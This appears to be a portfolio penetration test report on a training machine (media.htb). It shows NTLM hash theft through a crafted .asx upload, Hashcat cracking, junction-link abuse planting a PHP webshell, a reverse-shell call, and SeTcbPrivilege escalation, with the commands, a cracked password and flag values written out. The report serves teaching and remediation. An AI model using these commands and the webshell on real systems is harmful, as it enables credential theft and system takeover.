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1 Portfolio Use & Disclaimer 
This  report  is  provided  as  a  portfolio  sample to  demonstrate  penetration  testing  methodology,
technical writing, risk communication, and remediation planning.

The  assessment  described  herein  was  performed  against  a  deliberately  vulnerable  training
environment intended  for  educational  use.  The  target  system  represents  a  simulated  client
environment and does not reflect the security posture of any real organization.

This document does not constitute legal advice.
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2 Engagement Contacts
Assessor Contact 

Assessor Name Title Assessor Contact Email

Joe Thompson Tester jthompson@archwarden.com
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3 Executive Summary
This  assessment  was  conducted  by  Joe  Thompson  as  a  network  penetration  test  of  a  simulated
standalone Windows workstation hosted at 10.129.234.67  (media.htb). Testing was performed using a
black-box approach without prior knowledge of the environment. The objective was to identify security
weaknesses,  assess  potential  impact,  document  findings  in  a  clear  and  repeatable  manner,  and
provide actionable remediation recommendations.

3.1 Approach
Joe Thompson performed testing using a black-box approach, without credentials or prior knowledge
of the target environment. The objective was to identify exploitable weaknesses from the perspective
of  an  unauthenticated  external  attacker,  focusing  on  the  web  application  and  its  server-side  file
handling behaviour.

Testing  was  conducted  remotely  from  Joe  Thompson's  assessment  environment.  Each  identified
weakness was manually validated to confirm exploitability and assess impact. Where initial access was
obtained, post-exploitation enumeration was performed to evaluate privilege escalation opportunities
and the extent of achievable system compromise.

3.2 Scope
The  scope  of  this  assessment  included  the  externally  accessible  host  10.129.234.67  (media.htb).
Testing  focused  on  identifying  weaknesses  that  could  allow  unauthenticated  access,  credential
compromise, and privilege escalation to full administrative control of the target system.

In Scope Assets
Asset Type Description

External Host 10.129.234.67  (media.htb)

Web Application http://media.htb — ProMotion Studio portfolio upload platform

3.3 Assessment Overview and Recommendations
During  this  assessment,  Joe  Thompson  identified  4  security  findings  affecting  the  confidentiality,
integrity, and availability of the assessed environment. The findings include 3 high-risk findings and 1
low-risk finding.

The web application at media.htb hosts a portfolio submission form that accepts file uploads and
states that Windows Media Player is used to preview submissions. Uploading a crafted .asx  playlist
file caused the server to initiate an outbound SMB authentication request to an attacker-controlled
Responder listener, capturing the NTLMv2 hash for the  enox  service account. The hash was cracked
ofÒine with Hashcat, providing credentials that authenticated via SSH with the user flag.

Post-exploitation enumeration revealed a non-standard XAMPP installation at  C:\xampp . Reading the
upload handler source code in index.php  disclosed the upload directory structure: files are placed in
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C:\Windows\Tasks\Uploads\  inside a subdirectory named by the MD5 hash of the submitter's identity.
The upload directory is writable by the enox  account, allowing the existing hash-named folder to be
deleted and replaced with a Windows junction link pointing at  C:\xampp\htdocs .  Uploading a PHP
command shell  with  the same submitter  identity  caused the application to  write  the file  into the
XAMPP web root, making it accessible over HTTP and executing as NT AUTHORITY\LOCAL SERVICE .

Checking privileges on the LOCAL SERVICE shell revealed  SeTcbPrivilege  — the 'act as part of the
operating system' right. A purpose-built tool abusing this privilege ran net localgroup Administrators
enox /add  as SYSTEM. Reconnecting via SSH as  enox  with the updated group membership provided
full administrative access and the root flag.

It is recommended that the upload handler be restricted to safe, non-executable file types with server-
side validation, that the upload directory permissions be scoped to the minimum required, and that
the service account running the web server be reviewed to ensure it does not hold dangerous token
privileges.
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4 Network Penetration Test Assessment
Summary
Joe Thompson conducted testing from the perspective of an unauthenticated external attacker with no
prior  knowledge  of  the  assessed  environment.  Testing  targeted  the  web  application  portfolio
submission feature, with post-exploitation focused on enumerating non-standard software and file
system permissions to identify privilege escalation paths.

4.1 Summary of Findings
During testing, Joe Thompson identified 4 findings that present varying levels of risk to the assessed
environment.  In  addition,  0  informational  observations  were  noted  which,  while  not  representing
direct  vulnerabilities,  highlight  opportunities  to  further  improve  overall  security  posture  and
monitoring capabilities. The chart below summarizes the distribution of identified findings by severity
level.

In the course of this penetration test 3 High and 1 Low vulnerabilities were identified: 

Figure 1 - Distribution of identified vulnerabilities

Below is a high-level overview of each finding identified during testing. These findings are covered in
depth in the Technical Findings Details section of this report. 
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# Severity Level Finding Name Page

1 8.8 (High) Junction Link Redirects Upload Path into XAMPP Web Root —
PHP Execution as NT AUTHORITY\LOCAL SERVICE 24

2 8.6 (High) Portfolio Upload Form Accepts .asx Files Triggering Outbound
SMB Authentication — NTLMv2 Hash Captured via Responder 26

3 7.8 (High) NT AUTHORITY\LOCAL SERVICE Holds SeTcbPrivilege Enabling
Arbitrary Command Execution as SYSTEM 30

4 3.3 (Low) Upload Directory World-Writable by Standard User Allows
Junction Link Substitution 33

ARCHWARDEN

Joe Thompson Media 9



5 Internal Network Compromise Walkthrough
During the assessment, Joe Thompson exploited a server-side NTLM credential theft vulnerability and
a file system junction abuse chain to achieve full administrative compromise from an unauthenticated
external  position.  The  walkthrough  below  documents  the  successful  attack  path  and  does  not
represent all vulnerabilities identified during testing.

Any  issues  not  required  to  achieve  compromise  are  documented  as  standalone  findings  in  the
Technical  Findings  Details  section  and  ranked  by  severity.  The  purpose  of  this  attack  chain  is  to
demonstrate  how  individual  vulnerabilities  interact  to  increase  overall  risk  and  to  assist  with
remediation prioritisation.

5.1 Detailed Walkthrough
Joe Thompson performed the following to fully compromise the media.htb system.

Performed network enumeration — SSH (22), Apache/PHP (80), RDP (3389) confirmed; target
identified as a standalone Windows workstation running ProMotion Studio
Enumerated the web application — ProMotion Studio portfolio site discovered; upload form
accepts files processed by Windows Media Player server-side
Generated a crafted .asx playlist payload and uploaded it via the portfolio form — Responder
captured the NTLMv2 hash for enox via outbound SMB callback
Cracked the enox NTLMv2 hash ofÒine with Hashcat (mode 5600); authenticated via SSH and
retrieved the user flag
Enumerated the file system — XAMPP discovered at C:\xampp; upload handler source code read
from index.php, revealing predictable MD5-named upload directory structure
Deleted the existing MD5 upload folder and replaced it with a Windows junction link pointing at C:
\xampp\htdocs, redirecting subsequent uploads into the web root
Uploaded a PHP command shell using the same submitter identity — the junction link placed
cmd.php in htdocs; confirmed code execution as NT AUTHORITY\LOCAL SERVICE
Checked token privileges — SeTcbPrivilege identified; TcbElevation-x64.exe ran net localgroup
Administrators enox /add as SYSTEM; re-authenticated via SSH as admin and retrieved the root flag

1. Network Enumeration

A full TCP port scan was performed against the target, followed by a detailed service scan:

sudo nmap -p- --min-rate 1000 -T4 10.129.234.67 -oA TCP_allports
ports=$(grep open TCP_allports.nmap | awk -F/ '{print $1}' | tr '\n' ',' | sed 's/,$//')
sudo nmap -p $ports -sC -sV -vv -oA TCP_detailed 10.129.234.67

Results:

PORT     STATE SERVICE       VERSION
22/tcp   open  ssh           OpenSSH for_Windows_9.5 (protocol 2.0)
80/tcp   open  http          Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.1.17)
3389/tcp open  ms-wbt-server Microsoft Terminal Services

1. 

2. 

3. 

4. 

5. 

6. 

7. 

8. 
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SSH on port 22 is notable — OpenSSH for Windows means any cracked credentials are worth trying
there.  Port  80  serves  an  Apache/PHP  application.  Port  3389  confirmed  the  host  is  a  standalone
workgroup machine named MEDIA  (confirmed via RDP NTLM negotiation), not a domain controller.

2. Web Application Enumeration

Browsing to http://media.htb  revealed a video production portfolio site called ProMotion Studio:

Exploring  the  site  revealed  a  portfolio  submission  form accepting  a  first  name,  last  name,  email
address, and a file upload. Crucially, the form stated that submitted files would be previewed using
Windows Media Player:
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This  combination  — a  file  upload  processed  server-side  by  Windows Media  Player  — is  a  strong
indicator for NTLM theft. Certain file types, including  .asx  Windows Media Player playlists, contain
UNC  path  references  that  WMP  attempts  to  resolve  via  SMB,  triggering  an  outbound  NTLMv2
authentication request.

3. NTLM Theft via .asx Upload

The ntlm_theft tool was used to generate a malicious .asx  payload pointing at the tun0 interface:

sudo python3 ntlm_theft.py -g asx --server 10.10.16.60 --filename portfolio

Responder was started before uploading to capture the inbound authentication callback:

sudo responder -I tun0
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The portfolio.asx  file was submitted through the portfolio form with a test name and email address:

Moments after submission, Responder captured the NTLMv2 authentication callback from the server
as the enox  account:

4. Hash Cracking and SSH Access

The captured NTLMv2 hash was saved to  enox.hash  and cracked with  Hashcat  using mode 5600
(NetNTLMv2) against the RockYou wordlist:

hashcat -m 5600 enox.hash /usr/share/wordlists/rockyou.txt
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Credentials recovered: enox:1234virus@

SSH authenticated with the recovered credentials:

ssh enox@10.129.234.67
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5. Post-Exploitation — XAMPP and Upload Source Code

Listing C:\  revealed a non-standard xampp  directory:

XAMPP is a self-contained Apache/PHP/MySQL stack. Its presence confirms the web application runs
from C:\xampp\htdocs  and is served by an Apache service account. Any file placed in  htdocs  will be
accessible over HTTP.

The upload handler source code at C:\xampp\htdocs\index.php  was read to understand how uploaded
files are handled:
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Key logic identified:

$uploadDir = 'C:/Windows/Tasks/Uploads/';
$folderName = md5($firstname . $lastname . $email);

Every upload lands in  C:\Windows\Tasks\Uploads\<MD5(firstname+lastname+email)>\ . Since the same
name and email values were used for the earlier .asx  submission, the MD5 hash for that identity is
already known — the folder exists on disk.

Navigating to the upload root confirmed the folder was present:
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Checking permissions with  icacls  showed  Everyone:(F)  on the MD5-named folder, meaning  enox
can delete it:

6. Junction Link Abuse — Redirecting Upload Path to Web Root

The attack plan: remove the MD5 folder and replace it with a Windows junction link pointing at  C:
\xampp\htdocs .  The  next  time the  application  writes  a  file  to  that  path  (using  the  same identity),
Windows follows the junction and the file lands in the XAMPP web root instead.

From a PowerShell session as enox:

Remove-Item .\8fdbbe5a9c61c7d3740ef58f5f4c93ef\ -Recurse
New-Item -ItemType Junction `
-Path 'C:\Windows\Tasks\Uploads\8fdbbe5a9c61c7d3740ef58f5f4c93ef' `
-Target 'C:\xampp\htdocs'
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The junction link replaced the original folder. The path now points at htdocs .

7. PHP Webshell Upload and LOCAL SERVICE Shell

A PHP command execution webshell was created:

<?php system($_GET['cmd']); ?>

The file ( cmd.php )  was uploaded through the portfolio form using the exact same first  name, last
name, and email as the original .asx  submission, ensuring the MD5 hash matched the junction link:

The shell was verified with a whoami  command:

curl http://media.htb/cmd.php?cmd=whoami

The shell confirmed execution as NT AUTHORITY\LOCAL SERVICE . A base64-encoded PowerShell reverse
shell was sent through the webshell to obtain an interactive session:

curl "http://media.htb/cmd.php?cmd=powershell%20-e%20<BASE64_PAYLOAD>"
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8. SeTcbPrivilege Abuse and Privilege Escalation

Token privileges on the LOCAL SERVICE session were checked:

whoami /priv

SeTcbPrivilege  was listed as disabled. Disabled means the privilege is assigned to the token but not
currently active — privilege abuse tools handle enabling it themselves. This privilege allows a process
to act as part of the operating system and impersonate the SYSTEM account.

TcbElevation-x64.exe was downloaded from the attack machine and executed to add enox  to the local
Administrators group:

.\TcbElevation-x64.exe elevate 'net localgroup Administrators enox /add'

A fresh SSH session as enox  was opened — group membership changes apply to new logon sessions.
The root flag was retrieved:
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6 Remediation Summary
As a result of this assessment, several opportunities were identified to strengthen the security posture
of  the  assessed  environment.  The  remediation  actions  below are  prioritised  to  address  the  most
impactful issues first. All remediation activities should be carefully planned, tested, and validated to
minimise the risk of service interruption or unintended access changes.

6.1 Short Term
SHORT TERM REMEDIATION:

Restrict the portfolio upload form to safe, content-validated file types. Implement server-side MIME
type validation using file content inspection (not only the file extension).
Block .asx , .scf , .url , .lnk , and other file types capable of triggering outbound authentication
requests. The server should never automatically open or preview uploaded files using Windows
components that perform SMB resolution.
Review and restrict the service account running the Apache/XAMPP web server. NT AUTHORITY\LOCAL
SERVICE  holds SeTcbPrivilege , which enables full SYSTEM compromise. The web server should run
as a dedicated, unprivileged service account with no dangerous token privileges assigned.

6.2 Medium Term
MEDIUM TERM REMEDIATION:

Restrict permissions on the upload directory. The MD5-named upload folders should not be
writable or deletable by standard user accounts. The upload handler should create and manage
these directories as a service account, not expose them to interactive user modification. Verify that
no upload path is under a location writable by any account other than the web service.
Audit XAMPP and other non-standard software present on the system. XAMPP is a development
stack not intended for production deployment. If it is operationally required, harden the
configuration: restrict the web root permissions, disable directory listing, and ensure the service
account running Apache holds no unnecessary privileges.
Block outbound SMB (TCP 445) from the web server to external or untrusted networks at the host
firewall and perimeter. This prevents NTLMv2 authentication callbacks from reaching an attacker's
Responder listener even if a malicious file is processed.

6.3 Long Term
LONG TERM REMEDIATION:

Review all Windows service accounts for dangerous token privileges — in particular SeTcbPrivilege,
SeImpersonatePrivilege, SeAssignPrimaryTokenPrivilege, SeDebugPrivilege, and
SeBackupPrivilege. These privileges should only be held by explicitly authorised administrative
accounts and are frequently present on over-permissioned service identities.
Implement a file upload security policy across all web applications that defines permitted upload
types, enforces size limits, stores uploads outside the web root or on a dedicated file server, and
scans content before making it accessible.

• 

• 

• 

• 

• 

• 

• 
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Deploy Windows Defender Credential Guard and NTLM relay protections (SMB signing, EPA for
LDAP/HTTP) to limit the impact of NTLM hash capture even if an outbound authentication is
triggered. Require strong passwords across all service and user accounts to resist ofÒine cracking.

• 
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7 Technical Findings Details

1. Junction Link Redirects Upload Path into XAMPP Web
Root — PHP Execution as NT AUTHORITY\LOCAL SERVICE - 
High

CWE CWE-59 - Improper Link Resolution Before File Access ('Link Following')

CVSS 3.1 8.8 / CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Root Cause

The  combination  of  a  world-writable  upload  directory  and  a  predictable  MD5-
based path allows a local user to delete the existing upload folder and create a
Windows junction link in its  place,  pointing at  C:\xampp\htdocs .  When the web
application subsequently writes a file to the junction path (triggered by submitting
the same identity via the upload form), Windows transparently follows the junction
and places  the  file  in  the  XAMPP web root.  A  PHP file  written  via  this  path  is
immediately  accessible  over  HTTP  and  executes  as  the  NT  AUTHORITY\LOCAL
SERVICE  account running Apache.

Impact

Remote  code execution as  NT AUTHORITY\LOCAL SERVICE .  An  interactive  reverse
shell was obtained, confirming full arbitrary command execution in the context of
the  Apache  service  account.  This  account  holds  SeTcbPrivilege ,  enabling  the
privilege escalation path documented in the following finding.

Affected
Component

C:\Windows\Tasks\Uploads\ — junction link substitution
C:\xampp\htdocs — PHP execution via uploaded webshell

Remediation

Store uploaded files outside the web root and in a path that cannot be reached via
junction or  symbolic  links from any user-writable location.  The web application
should write files using a service account that does not have access to the web
root.  Implement  OS-level  hardening  to  prevent  junction  creation  in  sensitive
directories:  set ACLs on  C:\Windows\Tasks\Uploads\  so only the service account
can create or modify entries. Additionally, disable PHP execution in the XAMPP web
root for any path not explicitly required, and validate file extensions before serving
any content.

References

https://docs.microsoft.com/en-us/windows/win32/fileio/hard-links-and-
junctions
https://googleprojectzero.blogspot.com/2015/12/between-rock-and-hard-
link.html

Finding Evidence
With  the  world-writable  upload  folder  confirmed,  the  junction  link  attack  was  executed  from  a
PowerShell session as enox :

Remove-Item .\8fdbbe5a9c61c7d3740ef58f5f4c93ef\ -Recurse
New-Item -ItemType Junction `

• 
• 

• 

• 
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-Path 'C:\Windows\Tasks\Uploads\8fdbbe5a9c61c7d3740ef58f5f4c93ef' `
-Target 'C:\xampp\htdocs'

A PHP command shell was then submitted through the portfolio form using the same first name, last
name, and email as the original .asx  upload, ensuring the MD5 hash matched the junction path:

Verification confirmed the shell executed as NT AUTHORITY\LOCAL SERVICE :

curl http://media.htb/cmd.php?cmd=whoami

A base64-encoded PowerShell reverse shell was sent through the webshell, resulting in an interactive
session:
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2. Portfolio Upload Form Accepts .asx Files Triggering
Outbound SMB Authentication — NTLMv2 Hash Captured
via Responder - High

CWE CWE-522 - InsufÏciently Protected Credentials

CVSS 3.1 8.6 / CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

Root Cause

The portfolio submission form at http://media.htb  accepts .asx  Windows Media
Player playlist files and processes them server-side without restriction. An .asx  file
can  embed  a  UNC  path  pointing  to  an  attacker-controlled  server;  when  the
Windows  Media  Player  libraries  parse  the  file,  they  initiate  an  outbound  SMB
authentication  request,  disclosing  the  NTLMv2  hash  for  the  service  account
processing the upload. No authentication is required to access the upload form or
trigger this behaviour.

Impact
NTLMv2 hash for the enox  account was captured and cracked ofÒine to recover the
plaintext password 1234virus@ . These credentials authenticated via SSH, providing
an interactive shell with the user flag and a foothold for further post-exploitation.

Affected
Component

http://media.htb/ — portfolio upload form, .asx file accepted and processed by
WMP libraries

Remediation

Implement  server-side  file  type  validation  using  content  inspection,  not  file
extension  alone.  Restrict  accepted  upload  types  to  a  defined  allowlist  of  safe
formats and block all file types capable of triggering outbound authentication or
network requests including  .asx ,  .m3u ,  .wma ,  .wmv ,  .scf ,  .url ,  and  .lnk .  The
server should never invoke Windows Media Player or its libraries to automatically
preview  uploaded  content.  Additionally,  configure  the  host  firewall  to  block
outbound SMB (TCP 445) to untrusted networks to prevent NTLMv2 callbacks from
reaching attacker infrastructure even if a malicious file is processed.

References https://github.com/Greenwolf/ntlm_theft
https://bitsadmin.com/blog/hunting-for-internal-ntlm-hashes

Finding Evidence
The portfolio submission form on the ProMotion Studio site was identified as a candidate for NTLM
theft based on the stated use of Windows Media Player to preview uploaded files:

• 
• 
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The ntlm_theft tool was used to generate an .asx  payload pointing at the attacker's tun0 address:

sudo python3 ntlm_theft.py -g asx --server 10.10.16.60 --filename portfolio

Responder was started on tun0 before uploading to intercept the callback:

sudo responder -I tun0
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The .asx  file was submitted through the form. Moments later, Responder captured the NTLMv2 hash
for enox :

The hash was cracked with Hashcat (mode 5600 = NetNTLMv2), recovering enox:1234virus@ :
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3. NT AUTHORITY\LOCAL SERVICE Holds SeTcbPrivilege
Enabling Arbitrary Command Execution as SYSTEM - High

CWE CWE-269 - Improper Privilege Management

CVSS 3.1 7.8 / CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Root Cause

The  NT  AUTHORITY\LOCAL  SERVICE  account  running  the  XAMPP  Apache  service
holds SeTcbPrivilege  (Act as part of the operating system). This privilege allows a
process to create a primary token for the SYSTEM account and execute arbitrary
commands in that context. Although listed as disabled in the token, the privilege is
assigned and can be enabled by any process using standard Windows API calls.
Purpose-built  tools such as TcbElevation exploit this to run arbitrary commands
with SYSTEM-level authority.

Impact

Full SYSTEM-level command execution on the target host. The privilege was used
to add enox  to the local Administrators group via net localgroup Administrators
enox /add , providing full administrative access on the next logon. The root flag was
retrieved via a new SSH session.

Affected
Component

NT AUTHORITY\LOCAL SERVICE — SeTcbPrivilege assigned to Apache service
account

Remediation

The web server service account must not hold SeTcbPrivilege . Review the service
configuration  and  replace  NT  AUTHORITY\LOCAL  SERVICE  with  a  dedicated,
unprivileged service account created specifically for the Apache process. Apply the
principle of least privilege: the account should have only the permissions needed
to read the web root and write to the upload directory. Audit all Windows service
accounts  for  dangerous  token  privileges  —  particularly  SeTcbPrivilege,
SeImpersonatePrivilege,  SeAssignPrimaryTokenPrivilege,  SeDebugPrivilege,  and
SeBackupPrivilege — and remove any privileges not explicitly required.

References
https://github.com/b4lisong/SeTcbPrivilege-Abuse
https://docs.microsoft.com/en-us/windows/security/threat-protection/security-
policy-settings/act-as-part-of-the-operating-system

Finding Evidence
Token privileges on the LOCAL SERVICE reverse shell were inspected:

whoami /priv

• 
• 
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SeTcbPrivilege  was listed as disabled. A disabled privilege is still assigned to the token and can be
enabled by the process at runtime — it does not indicate the privilege is unavailable for abuse.

TcbElevation-x64.exe was downloaded from the attack machine's HTTP server and executed to run a
group membership command as SYSTEM:

.\TcbElevation-x64.exe elevate 'net localgroup Administrators enox /add'

A new SSH session was opened as  enox . Group membership changes apply to new logon sessions
only. With enox  now in the local Administrators group, the root flag was accessible:
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4. Upload Directory World-Writable by Standard User Allows
Junction Link Substitution - Low

CWE CWE-732 - Incorrect Permission Assignment for Critical Resource

CVSS 3.1 3.3 / CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Root Cause

The upload subdirectory under C:\Windows\Tasks\Uploads\  is created with Everyon
e:(F)  permissions,  granting  full  control  —  including  deletion  —  to  any
authenticated  user.  The  directory  name  is  derived  from  the  MD5  hash  of  the
submitter's first name, last name, and email, making it trivially predictable to any
attacker who controls the submitted identity.  Together, these properties allow a
standard user to delete the upload folder and substitute a Windows junction link,
redirecting subsequent writes by the web application to an arbitrary location.

Impact
Enabled the junction link abuse described in the following finding, redirecting PHP
file writes into the XAMPP web root and ultimately achieving code execution as NT
AUTHORITY\LOCAL SERVICE .

Affected
Component

C:\Windows\Tasks\Uploads\ — upload root; MD5-named subdirectories created
with Everyone:(F)

Remediation

The upload directory and all  subdirectories should be created with permissions
scoped to the web service account only. Standard authenticated users must not
have delete or modify rights over upload paths. Change the directory ACL so that
only the Apache service account and local  Administrators can modify  or  delete
upload  directories.  Additionally,  consider  storing  uploads  outside  of  any  path
reachable via symbolic or junction link from a user-writable location.

References https://docs.microsoft.com/en-us/windows/security/threat-protection/security-
policy-settings/create-symbolic-links

Finding Evidence
After authenticating via SSH as enox , the upload root was located at C:\Windows\Tasks\Uploads\ . The
MD5-named folder from the earlier .asx  upload was present:
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Running  icacls *  against  the folder  showed  Everyone:(F)  — full  control  for  all  users,  including
deletion:

The upload handler source code in  index.php  confirmed the predictable naming scheme and the
upload base path:
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A Appendix

A.1 Finding Severities
Each finding has been assigned a severity rating of critical, high, medium, low or info. The rating is
based off of an assessment of the priority with which each finding should be viewed and the potential
impact each has on the confidentiality, integrity, and availability of HTB's data.

Rating CVSS Score Range

Critical 9.0 – 10.0

High 7.0 – 8.9

Medium 4.0 – 6.9

Low 0.1 – 3.9

Info 0.0

ARCHWARDEN

Joe Thompson Media 36



A.2 Host & Service Discovery
IP Address Port Service Notes

10.129.234.67 22 SSH OpenSSH for_Windows_9.5

10.129.234.67 80 HTTP Apache httpd 2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.1.17

10.129.234.67 3389 RDP Microsoft Terminal Services — host: MEDIA (workgroup)
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A.3 Subdomain Discovery
URL Description Discovery Method

media.htb ProMotion Studio — portfolio upload platform /etc/hosts entry from box IP
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A.4 Exploited Hosts
Host Scope Method Notes

media.htb
(10.129.234.67)

Extern
al

.asx NTLM theft via portfolio upload →
NTLMv2 hash cracking

SSH access as enox; user
flag

media.htb
(10.129.234.67)

Interna
l

Junction link abuse → PHP webshell in
htdocs

RCE as NT
AUTHORITY\LOCAL
SERVICE

media.htb
(10.129.234.67)

Interna
l SeTcbPrivilege abuse via TcbElevation enox added to

Administrators; root flag
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A.5 Compromised Users
Username Type Method Notes

enox Local user NTLMv2 hash captured via .asx upload;
cracked ofÒine with Hashcat

SSH access; user
flag

NT
AUTHORITY\LOCAL
SERVICE

Service
account

Junction link → PHP webshell in XAMPP
htdocs

SeTcbPrivilege
abuse vector

enox (Administrator)
Local
administrato
r

TcbElevation added enox to
Administrators group via SeTcbPrivilege

Full system
access; root flag
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A.6 Changes/Host Cleanup
Host Scope Change / Cleanup Needed

media.ht
b C:\xampp\htdocs Remove cmd.php webshell

media.ht
b

C:
\Windows\Tasks\Uploads\ Restore original MD5 folder; remove junction link

media.ht
b Local Administrators group Remove enox from Administrators group if not

authorised

media.ht
b C:\xampp\htdocs or temp Remove TcbElevation-x64.exe
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A.7 Flags Discovered
Flag
# Host Flag Value Flag Location Method Used

1 media.
htb

fc6c7c550cac983999
5c2f5c3b2cf026

C:
\Users\enox\Desktop\u
ser.txt

.asx NTLM theft → hash crack →
SSH

2 media.
htb

93e59958da382c97a
66f0418338f82af

C:
\Users\Administrator\D
esktop\root.txt

Junction link → PHP RCE →
SeTcbPrivilege → enox as admin
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End of Report 
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